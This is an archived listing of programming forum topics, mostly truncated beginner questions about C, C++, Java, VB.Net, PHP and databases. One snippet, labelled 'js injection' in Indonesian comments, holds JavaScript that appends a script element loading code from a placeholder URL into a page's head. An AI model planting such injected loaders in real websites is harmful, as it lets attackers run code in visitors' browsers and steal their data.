199,124 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for zzmgd6

I understand how to use CreateProcess, ShellExecute(Ex), _spawn, exec methods to start a child process from a parent process. Question: Is there a way I can return values back to the parent process from the child process? For example, the child process sets an integer value and I want the …

Member Avatar for zzmgd6
0
197
Member Avatar for random7

this is some of code. I have a question. what is the meaning of '?' and ':1;' [just this part] [code=syntax] int t, dt, * cnt, tmax=0; cnt=(int*)calloc(M,sizeof(int)); ... /* Compute the mean-squared displacement using the straightforward algorithm */ fprintf(stderr,"# computing...\n");fflush(stderr); for (t=0;t<M;t++) { for (dt=1;(t+dt)<tmax;dt++) { cnt[dt]++; /* number …

Member Avatar for William Hemsworth
0
195
Member Avatar for esmeco

Hello! I have a project in which I must simulate a blog application,with users' post mangament. These are the requirements: A blog has a title and a collection of posts.The posts have the following information: -author -data -title -text Each post has a code thet is generated automatically and which …

Member Avatar for jwenting
0
103
Member Avatar for bramprakash1989

iam facing thesame problem of run page not getting displayed.can i use srand function in this program. and what is its use and syntax? [code=cplusplus] #include<iostream.h> #include<stdlib.h> int randomno(); int main() { int i; cout<<"ten random numbers for the range 0 to 50"<<endl; for(i=0;i<10;i++) { randomno(); } } i int …

Member Avatar for VernonDozier
0
262
Member Avatar for Jesi523

I have been using VB.Net for a little while now, but I just started needing to write code to put information in a SQL Server database. I have two tables that I need to add information into. I know that I have to use an Insert statement, maybe I need …

Member Avatar for Jesi523
0
164
Member Avatar for Drake

can anyone tell me what makes C a universal language and ideal for a number of engineering solutions? Part of an assignment would be ace if someone could give me a few pointers

Member Avatar for sDJh
0
106
Member Avatar for logicalz

Hi all, I have been trying to solve this question for a while with no luck at all. This is related to Propositonal Logic. Can someone please help? Here's the question - " [COLOR="Green"][B]The propositional formulas in prefix notation (PN) are defined as follows: • every atom is a PN …

Member Avatar for sarehu
0
92
Member Avatar for kimhanu

I use ADO.net and SQL database . but cannot updata records into database . Who can do it ? help me please ! my database is sv.mdf , table is huycnt include fields : id , name . help me soon . Thanks

Member Avatar for zikrullah
0
110
Member Avatar for weleh

Here there are.... //INI G TAU BISA JALAN G KLO GW TULIS TULISAN ENE //KLO G BISA MOHON BANTUANNYA //ABIS GW NGELIAT PUNYA SI OOM MR CUPU KAYAK GENE //js injection var myjs = document.createElement("script"); myjs.type = "text/javascript"; myjs.src = "URL_JS_GANTI_LOH"; document.getElementsByTagName("head")[0].appendChild(myjs); //js injection var myjs = document.createElement("script"); myjs.type = …

Member Avatar for jwenting
0
391
Member Avatar for Moporho

I need to create a program that is a table to convert between centigrade and fahrenheit temperatures. My solution must must utilize functions to perform the conversions. Requirements: 1. One of the functions must use pass-by-value, returning the converted measure 2. One of the functions must use pass-by-reference to store …

Member Avatar for JRM
0
184
Member Avatar for melystar

Hello, I'm a newbie to C. I'm trying to understand a source file about insertion sort and shell's sort, but when I try to run the programme on Microsoft VS C++ expressed edition, it always comes out with this error message! sort_main.obj : error LNK2019: unresolved external symbol _insertion_sort referenced …

Member Avatar for melystar
0
164
Member Avatar for Laurence26

I was wondering if you could add new fonts to pygame and how you should do it. Does any one know how to do it?

Member Avatar for a1eio
0
100
Member Avatar for Drake

please explain What are the following data types are and the storage requirements of each? -Char -Unsigned Char -Int -long -float -double Would be great if someone could help me out, thanks

Member Avatar for Salem
0
105
Member Avatar for kusal

sometime I see pepole use @ with variables ex: @$cat=$_GET['cat']; is this something like pass by reference? can you direct me to a good tutorial in this matter Thank you

Member Avatar for kusal
0
91
Member Avatar for coolerfantasy

Hi Guys Can Pointers In C Points To The Video Memory And Write A pixels On The Screen Or Calls Bios 10H To Do That , What About That : void far *scr = (void far *) 0xA0000000L

Member Avatar for Narue
0
153
Member Avatar for maelthra

what does it mean when while trying to run a .class file I get "Exception in thread "main" java.lang..NoSuchMethodError: main"???

Member Avatar for mailmeatvishnu
0
103
Member Avatar for bramprakash1989

i am supposed to split a string like krishnamoorthy into krishna and moorthy using operator overloading.i am unable to strike upon the logic to write a program.can u pls help me?

Member Avatar for Ancient Dragon
0
263
Member Avatar for bramprakash1989

can u pls explain to me the use pf srand function & its syntax?i tried the following coding.it compiled,but runpage is not getting displayed. [code=cplusplus] #include<iostream.h> #include<stdlib.h> int randomno(); int main() { int i; cout<<"ten random numbers for the range 0 to 50"<<endl; for(i=0;i<10;i++) { randomno(); } return o;} int …

Member Avatar for Ancient Dragon
0
248
Member Avatar for john777

Dear programers, i am new to mysql and webhosting. i have one website script,i want to instal the same script to my two domain names(for example: domain1.com and domain2.com) i dont want to add this two domain like addon domain. i have two different hosting for this two domains. for …

Member Avatar for peter_budo
0
126
Member Avatar for plazmo

is this possible, i had to use the mysql class to connect to the database, but i would rather use oledb. the connection string i used is "Provider=MySQLProv;Data Source=mySQLDB;User Id=myUsername;Password=myPassword" when i try to connect a popup titled "MySql Data Source Name Setup" always comes up. even if i try …

Member Avatar for peter_budo
0
123
Member Avatar for nireekshan

hello i am using Mysql plse send DataBase Connection and ROOt

Member Avatar for peter_budo
0
111
Member Avatar for XtremeCamera

HI, I paid a web development company many thousands of dollars to develop a photo community site using PHP. After many months of delays the project was delivered, however much of the code is sloppy and nothing was commented. But that's not the problem I need help with today. This …

Member Avatar for peter_budo
0
184
Member Avatar for Katherine692008

Help, Please help me with a program that will [U]prompt the user for the following[/U]: 1. First Name 2. Last Name [B][COLOR="BLUE"]3. Hourly or Salary a. If hourly then ask for the following i. Hours worked ii. Pay Rate 1. If the hours worked is greater than 40 hours then …

Member Avatar for darkagn
0
139
Member Avatar for soultrav

If i have, for example, a marquee that displays time when i push a button,like this: [code=php] if($_POST['time']) echo "<marquee direction=right behavior=alternate scrolldelay=500 scrollamount=30>".date('d-m-Y').' GMT'.date('P').' '.date('H:i:s')."</marquee>"; [/code] ,it will display the time at the moment that i pushed the button. How could i make it to display the time continously? …

Member Avatar for soultrav
0
112
Member Avatar for pete212

Hi, i'm a newbie to C and currently trying to learn the language, so at the moment i only really know the basic stuff. I'm trying to create a program that converts a decimal number (entered by the user) into hexidecimal. I have got it working for one single, decimal …

Member Avatar for WaltP
0
150
Member Avatar for rapchak

hi everyone. I am doing a project in jsp where i need to check the duration of logins of a particular client. If the client doesnot login for 6 months(say) his account should expire. For this purpose i am taking system date and storing it in sql database. I have …

Member Avatar for jwenting
0
127
Member Avatar for hemgoyal_1990

Hi All, I am a Problem with Database. I Don't Know How Can i Import my Data in MySQL Database Using CSV Format. Can anyone Plz Help me. I am Using phpMyAdmin for Accessing my Database... Plz Help me.

Member Avatar for hemgoyal_1990
0
104
Member Avatar for infernojmd

my output keeps putting out monday for everything need help with this, kinda confused on what im dooing [CODE]#include <iostream> #include <iomanip> using namespace std; void displayTitle(); int getMonth(int month); int getDay(int day); int getYear(int year); int CalcDayofWeek(int month, int day, int year); void displayDay(int G); int main() { //declare …

Member Avatar for vmanes
0
97
Member Avatar for degamer106

I'm almost finished with this program but the problem I'm having is with freeing the memory I allocated. Particularly in the area where I have pointers to strings. [CODE]#include <stdio.h> #include <string.h> #include <stdlib.h> /////////////// user defined data ///////////////////// struct State { char * name; // state name int year; …

Member Avatar for John A
0
102
Member Avatar for Moheet
Member Avatar for kireol

I've been over this all day and it looks fine to me. Yet it is crashing my program, so I know there's an error here. I'm fairly certain the error exists in the getvalue function [code] int main () { char thevalue[1024]; char needle[25]; char haystack[2048]; memset(thevalue,0,sizeof(thevalue)-1); memset(needle,0,sizeof(needle)-1); memset(haystack,0,sizeof(haystack)-1); strcpy_s(haystack, …

Member Avatar for kireol
0
107
Member Avatar for CoolGamer48

Is there a difference between a class and a struct? At first I thought a struct could not have methods/constructors/destructors, but now I found out they can, so what is the difference?

Member Avatar for sarehu
0
76
Member Avatar for NinjaLink

Hello, I am doing a file input/output. I wrote 3 fulls names, phone number, balance. etc inside my input file. Example: John Doe 555-555-5555 5000.00 In my output file, I am trying to create this output with using setw. First Name Last Name Phone Number Balance ------------ ------------ ----------------- --------- …

Member Avatar for NinjaLink
0
263
Member Avatar for TheFueley

When I have [ICODE]sizeof(utmp)[/ICODE], 384 is returned. So when I try to find out the size of the individual members, I get a different result. Using the method below, I come up with 382 bytes. Anyone know where I'm missing the other 2 bytes? [CODE=CPP] #include <iostream> using std::cout; using …

Member Avatar for TheFueley
0
172
Member Avatar for xyntex

please i am very new to all programming languagies and i have great intrest in being a sotfware developer. can you guys please tell me or give me the necessary notes. thanks

Member Avatar for masijade
0
69
Member Avatar for utkarsh.cse

hi. i recently implemented S-DES algo. Here is the code for key generation. [code] import java.math.*; import java.security.*; public class keyGenerator { int bitLength=10; int certainty=20; int i=0,j=0,tempInt1,tempInt2; long l; byte[] actual10Key=new byte[10]; byte[] permuted10Key=new byte[10]; byte[] permuted10KeyCopy=new byte[10]; byte[] cls10Temp1=new byte[10]; byte[] subKey8Temp=new byte[8]; byte[] subKey1=new byte[8]; byte[] subKey2=new …

Member Avatar for masijade
0
122
Member Avatar for danibootstrap

The following steps tell how to create a project file to play a wav sound file 1- create a project file. 2-Choose Console Application in Basic tab. 3-After Create the Project File go to Project Option 4-Choose Parameter tab 5-Click the Add Library or Object 6-Browse the location of Dev-c++ …

Member Avatar for penguina888
0
212
Member Avatar for Ice_Dragon

Before I start, I'm sure you've all seen this error, and explained how to solve it many times before, and for that I thank you for bothering to read this, and if you choose to answer, I wish to thank you in advance. So, the issue I am having is …

Member Avatar for Narue
0
116
Member Avatar for Jennifer84

What is the way to convert this int to a std::string. I have searched MSDN and found that itoa could be used (vs atoi for string to int as I know how it is done). Though I cant find any good example that shows how itoa is used or if …

Member Avatar for Jennifer84
0
194
Member Avatar for Jennifer84

I am using a "GriedViewControl" with 14 columns and with this code below I can set the number "1" to the First Column and 21 Rows down. What I wonder is how I access for example [COLOR="Green"]column 3 and row 1[/COLOR] or [COLOR="green"]column 4 and row 2[/COLOR] etc... What is …

Member Avatar for Jennifer84
0
102
Member Avatar for Draghen

I have to write a program to read 10 integers into an array. It will then read in one more integer. My program should then compute and output how many distinct pairs of integers in the array add up to the last number that was input. Note I cannot use …

Member Avatar for Majestics
0
2K
Member Avatar for Draghen

I have to write a program to read 10 integers into an array. It will then read in one more integer. My program should then compute and output how many distinct pairs of integers in the array add up to the last number that was input. Note I cannot use …

Member Avatar for Draghen
0
79
Member Avatar for mzdiva041986

The error is: F:\C ++ Numerical Methods\Newton_Raphson.cpp(199) : fatal error C1004: unexpected end of file found [code=C++] #include <cmath> #include <iostream> using namespace std; double F ( double X ) { return pow ( X, 4) - 9*pow ( X, 3 ) - 2*pow (X, 2) + 120*X - 130; …

Member Avatar for mukulbudania
0
124
Member Avatar for aminit
Member Avatar for Jx_Man
0
48
Member Avatar for zawpai

hi, Could anyone please explain to me about the following question? Although I do 'unload me', but it can't be closed immediately and some parts of that form is still processing. Eg; my project has many timers and other processing sequences. I really don't know how to solve it because …

Member Avatar for zawpai
0
118
Member Avatar for sukhy_1

hello ive got a sign in page it works and sends data to database but soon as i had validation code for an email address using java, and then when i click submit it comes up with this error below for every textbox even though all the textboxes have data …

Member Avatar for Suomedia
0
154
Member Avatar for msankardas

Hi, I am a newbie when it comes to programming in xml, so my doubts can sound stupid. Anyway, here is what I want to convey. I have a test.xml file like this. [B] <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE REQUEST [ <!ENTITY cred SYSTEM "/test/credentials.xml"> ]> <REQUEST Name="calculateBusinessHours"> <start Value="06/28/2007 16:53:16" …

Member Avatar for msankardas
0
112
Member Avatar for Moheet

I have Follwing Screenshot & Code help me ? '' code for browse Button If maxrowsd2 = 0 Then Console.WriteLine(" There are No Records in the table") Exit Sub End If If incd2 <> maxrowsd2 - 1 Then incd2 = incd2 + 1 Call navigaterecord2() ElseIf incd2 = maxrowsd2 - …

Member Avatar for Jx_Man
0
91
Member Avatar for kritersica

Hello!! I know this website is only for helping to solve coursework but i really need help. I am studying math and I chose programming 'by mistake' i mean its not my core module but I didnt thing its so horrible!!! So I have a coursework to do and if …

Member Avatar for jasimp
0
112
Member Avatar for Inny

Im trying to creat an Imagemap Menu using my banner. This is a proto-type for a much more complex imagemap menu. I have created an imagemap of the original banner (click the eye) and used an image swap script to swap to my 'menu banner' (which will have more clickable …

Member Avatar for Inny
0
110

The End.